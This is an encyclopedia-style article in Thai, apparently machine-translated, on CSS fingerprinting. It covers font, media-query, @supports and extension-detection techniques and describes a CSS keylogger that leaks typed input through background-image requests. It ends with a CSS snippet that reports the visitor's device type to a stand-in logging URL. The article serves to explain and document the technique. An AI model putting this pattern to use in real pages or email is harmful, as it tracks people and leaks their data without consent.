การทำ CSS fingerprintingเป็น เทคนิค การทำ browser fingerprintingที่ช่วยให้เว็บไซต์สามารถระบุและติดตามผู้เข้าชมโดยใช้CSS CSS fingerprinting เป็นเทคนิคแบบstatelessกล่าวคือ ไม่จำเป็นต้องให้ระบบคอมพิวเตอร์ที่ใช้งานเบราว์เซอร์จดจำข้อมูล มันใช้ประโยชน์จากความแตกต่างระหว่างเบราว์เซอร์หรือ CSS queries ที่ช่วยให้นักพัฒนาโปรแกรมสามารถกำหนดเป้าหมายไปยังระบบต่างๆ เพื่ออนุมานข้อมูลเกี่ยวกับระบบของผู้ใช้ เนื่องจากโดยทั่วไปแล้ว CSS ได้รับอนุญาตให้ใช้งานในพื้นที่ที่ ปิดใช้งานการเรียกใช้โค้ด JavaScriptเช่น ในโปรแกรมอีเมลจึงมีขอบเขตการใช้งานที่กว้างกว่าเทคนิคการทำ browser fingerprinting ส่วนใหญ่ ซึ่งโดยทั่วไปแล้วจะอาศัยโค้ด JavaScript

การตรวจสอบลายนิ้วมือของเบราว์เซอร์เป็นชุดเทคนิคที่ใช้ประโยชน์จากลักษณะเฉพาะและคุณสมบัติของเบราว์เซอร์เพื่อติดตามผู้ใช้ แตกต่างจากการติดตาม สถานะ โดยใช้คุกกี้การตรวจสอบลายนิ้วมือของเบราว์เซอร์จะรวบรวมความไม่สอดคล้องกันและความแปลกประหลาดเล็กๆ น้อยๆ ในพฤติกรรมของเบราว์เซอร์ ซึ่งมักเป็นผลมาจากฮาร์ดแวร์ที่เบราว์เซอร์ทำงานอยู่และการกำหนดค่าที่ใช้ในเบราว์เซอร์ ความไม่สอดคล้องกันเหล่านี้จะถูกนำมาใช้เพื่อสร้างตัวระบุเฉพาะสำหรับผู้ใช้แต่ละราย โดยทั่วไปกระบวนการนี้ต้องใช้ โค้ด JavaScript ซึ่งจะเรียกใช้ API ของ HTML5ต่างๆเพื่อสร้างตัวระบุเฉพาะ^{[ 1 ] [ 2 ]}ด้วยเหตุนี้ การป้องกันการตรวจสอบลายนิ้วมือในปัจจุบันจึงจำกัดปริมาณและประเภทของโค้ด JavaScript ที่เว็บไซต์สามารถเรียกใช้ได้ ในบางกรณี ส่วนขยายเช่นNoScriptจะไม่อนุญาตให้เรียกใช้โค้ด JavaScript โดยสิ้นเชิง^{[ 3 ] [ 4 ]}

การตรวจสอบลายนิ้วมือ CSS ช่วยให้เว็บไซต์สามารถตรวจสอบลายนิ้วมือของผู้ใช้ได้โดยไม่ต้องเรียกใช้โค้ด JavaScript ใดๆ จึงสามารถหลีกเลี่ยงการป้องกันการตรวจสอบลายนิ้วมือแบบดั้งเดิมได้ เนื่องจากโดย ทั่วไป แล้วอนุญาตให้ใช้สไตล์ชีต ใน เนื้อหาที่ผู้ใช้สร้างขึ้นแม้ว่าการเรียกใช้ JavaScript แบบสคริปต์จะไม่ได้รับอนุญาต (เช่นไคลเอนต์อีเมล ) การตรวจสอบลายนิ้วมือ CSS จึงมีขอบเขตที่กว้างกว่าการตรวจสอบลายนิ้วมือของเบราว์เซอร์แบบดั้งเดิม^{[ 4 ]}

เทคนิคการสร้างลายนิ้วมือ CSS โดยทั่วไปขึ้นอยู่กับการใช้คุณสมบัติเฉพาะของ CSS ในทางที่ผิดเพื่อตรวจจับแอตทริบิวต์เกี่ยวกับระบบที่ CSS ปกติจะไม่สามารถเข้าถึงได้ กระบวนการนี้มักประกอบด้วยสองส่วน คือ การเข้าถึงข้อมูลในระบบของผู้ใช้ในขั้นต้น และการดึงข้อมูลนั้นออกมาในภายหลัง แม้ว่าจะมีหลายวิธีในการเข้าถึงข้อมูลผ่านการสร้างลายนิ้วมือ CSS แต่การดึงข้อมูลออกมาโดยใช้ CSS เพียงอย่างเดียวนั้นทำได้ยาก เนื่องจากเบราว์เซอร์ไม่อนุญาตให้สร้าง URL แบบไดนามิกใน CSS ดังนั้น การสร้างลายนิ้วมือ CSS จึงมักอาศัยการร้องขอเครือข่ายแบบมีเงื่อนไข ตัวอย่างเช่น การใช้ภาพพื้นหลังในตัวเลือก CSS การดึงฟอนต์ในแบบสอบถามสื่อ และการใช้image-setคำสั่งแบบ มีเงื่อนไข ^{[ 5 ]}

วิธีการสร้างลายนิ้วมือโดยใช้ CSS วิธีหนึ่งโดยเฉพาะคือการสร้างลายนิ้วมือของฟอนต์ ซึ่งมุ่งเน้นไปที่การตรวจจับการมีอยู่ของฟอนต์เฉพาะในระบบของผู้ใช้ การเปิดเผยการมีอยู่ของฟอนต์บางอย่างทำให้เว็บไซต์สามารถอนุมานได้ว่าผู้ใช้ได้ติดตั้งแอปพลิเคชันบางอย่างหรือไม่ ซึ่งเกี่ยวข้องกับการที่เว็บไซต์โหลดฟอนต์โดยใช้คำสั่ง CSS ^{[ 6 ] [ 7 ]}หรือโหลดฟอนต์ CSS โดยตรงโดยใช้คำสั่ง font-family กับองค์ประกอบHTML ^{[ 8 ]}โดยการวัดขนาดขององค์ประกอบเมื่อใช้คำสั่ง font-family โดยตรง เว็บไซต์สามารถอนุมานการมีอยู่ของฟอนต์ระบบและแอปพลิเคชันอื่นๆ ได้^{[ 6 ] [ 9 ]}การโจมตีโดยใช้ฟอนต์อีกวิธีหนึ่งที่เสนอโดย Heiderich et al. ในปี 2012 มุ่งเน้นไปที่การโหลดฟอนต์ที่เตรียมไว้เป็นพิเศษ โดยที่สัญลักษณ์สำหรับชุดตัวอักษรถูกแทนที่ด้วยสัญลักษณ์ที่มีความกว้างเป็นศูนย์ เมื่อโหลดฟอนต์เหล่านี้แล้ว ผู้โจมตีสามารถใช้ฟอนต์เหล่านี้กับองค์ประกอบที่มีข้อมูลที่พวกเขาต้องการรั่วไหลได้ ด้วยการใช้ชุดแอนิเมชัน CSSและการสอบถามความสูง/ความกว้าง ผู้โจมตีสามารถอนุมานความสูงของตัวอักษรที่ไม่ใช่ตัวอักษรที่มีความกว้างเป็นศูนย์ ทำให้สามารถรั่วไหลข้อมูลที่อยู่ในองค์ประกอบทีละตัวอักษรได้^{[ 10 ] [ 6 ]}@font-face

Media queriesคือชุดคำสั่ง CSS ที่อนุญาตให้เว็บไซต์สอบถามคุณสมบัติต่างๆ เกี่ยวกับหน้าจอ เช่น ความสูง ความกว้าง หรือว่าผู้ใช้กำลังอยู่ในอินเทอร์เฟซการพิมพ์หรือไม่ Media queries ช่วยให้เว็บไซต์สามารถใช้สไตล์ CSS แบบมีเงื่อนไขได้หากตรงตามเงื่อนไขที่กำหนดไว้^{[ 11 ] [ 12 ]}เทคนิคอื่นๆ ได้แก่ การใช้ฟังก์ชันในตัวของ CSS calc()เพื่อทำการคำนวณที่เปิดเผยชุดคำสั่งและความแม่นยำของระบบปฏิบัติการพื้นฐาน^{[ 13 ]}และการใช้ queries ของ CSS @supportsเพื่อตรวจสอบว่ามีคุณสมบัติ CSS เฉพาะอยู่ในเบราว์เซอร์หรือไม่^{[ 14 ]}ซึ่งสามารถใช้เพื่อระบุเบราว์เซอร์และเวอร์ชันที่เฉพาะเจาะจงได้ คุณสมบัติอื่นๆ ที่มีให้สำหรับ CSS ได้แก่ การเปิดใช้งาน JavaScript หรือไม่ และ การตั้งค่า แถบเลื่อนโดยเฉพาะบนmacOS ^{[ 15 ]}

เทคนิคอีกอย่างหนึ่งที่สามารถใช้ในการระบุตัวตนผู้ใช้ได้คือการตรวจจับส่วนขยาย การตรวจจับส่วนขยายเป็นเทคนิคที่ใช้การสืบค้น CSS เพื่อตรวจสอบการมีอยู่หรือไม่มีอยู่ของแอตทริบิวต์และองค์ประกอบเฉพาะที่ถูกแทรกโดยส่วนขยายของเบราว์เซอร์ ส่วนขยายบางอย่าง เช่นWikiwandจะแก้ไขหน้าเว็บโดยการแทรกสไตล์ชีต CSS และองค์ประกอบเพิ่มเติมเพื่อเปลี่ยนแปลงพฤติกรรม ผู้โจมตีสามารถใช้ประโยชน์จากสิ่งนี้ได้โดยการตั้งค่าเว็บไซต์ที่ใช้การสืบค้นคอนเทนเนอร์ CSS เพื่อตรวจจับการแก้ไขเหล่านี้ โดยการวิเคราะห์ผลลัพธ์ของการสืบค้นเหล่านี้และเปรียบเทียบกับฐานข้อมูลลายนิ้วมือส่วนขยายที่รวบรวมไว้ก่อนหน้านี้ ผู้โจมตีสามารถระบุได้ว่าผู้ใช้ติดตั้งส่วนขยายใดบ้าง ข้อมูลนี้จะช่วยให้ผู้โจมตีสามารถระบุตัวตนผู้ใช้ได้อย่างเฉพาะเจาะจงตามส่วนขยายที่ติดตั้ง^{[ 16 ] [ 17 ]}

เทคนิคการสร้างลายนิ้วมือ CSS ยังสามารถใช้เพื่อดึงข้อมูลการโต้ตอบของผู้ใช้แบบไดนามิกได้อีกด้วย ผู้โจมตีสามารถสร้างโค้ดเพื่อลงทะเบียนตัวเลือก CSS ที่จะเปิดใช้งานเฉพาะเมื่อผู้ใช้พิมพ์สตริงเฉพาะลงในช่องป้อนข้อมูล ซึ่งเป็นพื้นที่ที่อาจเปิดเผยข้อมูลบริบทเกี่ยวกับหน้าเว็บที่โหลด CSS ตัวเลือก CSS จะฝังภาพพื้นหลังลงในองค์ประกอบที่ไม่สามารถมองเห็นได้โดยผู้ใช้ โดยคำขอ URL จะดึงข้อมูลเกี่ยวกับการโต้ตอบของผู้ใช้ไปยังผู้โจมตี ขึ้นอยู่กับปริมาณของ CSS ที่โหลด CSS ที่เป็นอันตรายยังสามารถใช้เป็นตัวดักจับการกดแป้นพิมพ์ที่ส่งคืนการกดแป้นพิมพ์ของผู้ใช้ไปยังช่องข้อมูลที่ละเอียดอ่อนเฉพาะได้ อีกด้วย ^{[ 18 ]}

ตัวอย่างต่อไปนี้แสดงให้เห็นว่าสามารถใช้ CSS fingerprinting เพื่ออนุมานข้อมูลเกี่ยวกับการตั้งค่าเบราว์เซอร์ของผู้ใช้ได้อย่างไร

@media ( max - width : 600px ) {body { background-image : url ( "https://example.com/log?device=mobile" ); }}@media ( min -width : 601px ) and ( max-width : 1200px ) {body { background-image : url ( "https://example.com/log?device=tablet" ); }}@media ( min - width : 1201px ) {body { background-image : url ( "https://example.com/log?screen=laptop" ); }}

ในตัวอย่าง ชุดคำสั่ง CSS จะถูกประกาศโดยใช้ media queries คำสั่ง CSS จะใช้พื้นหลังประเภทต่างๆ กับองค์ประกอบ body ขึ้นอยู่กับผลลัพธ์ของ queries เกี่ยวกับความกว้างของหน้าจอของผู้ใช้ พื้นหลังจะทำการร้องขอไปยัง URL ระยะไกลสำหรับภาพพื้นหลังนั้น โดยการเลือกภาพจะสื่อถึงข้อมูลเกี่ยวกับประเภทของอุปกรณ์ URL ระยะไกลสามารถรวบรวมข้อมูลเกี่ยวกับอุปกรณ์ที่ใช้ได้โดยพิจารณาจากภาพที่ร้องขอ^{[ 14 ]}

• เฮย์ส, แกเร็ธ (2025-08-26). "การรั่วไหลของสไตล์แบบอินไลน์: การรั่วไหลของข้อมูลด้วยเงื่อนไข CSS แบบลูกโซ่" . งานวิจัย PortSwigger . เก็บถาวรจากต้นฉบับเมื่อ 2026-01-16 . เรียกดูเมื่อ2026-01-18 .
• Gualtieri, Mike (2018-02-06). "การขโมยข้อมูลด้วย CSS: การโจมตีและการป้องกัน | Mike Gualtieri" . บล็อกของ Mike Gualtieri . สืบค้นเมื่อ2026-01-18 .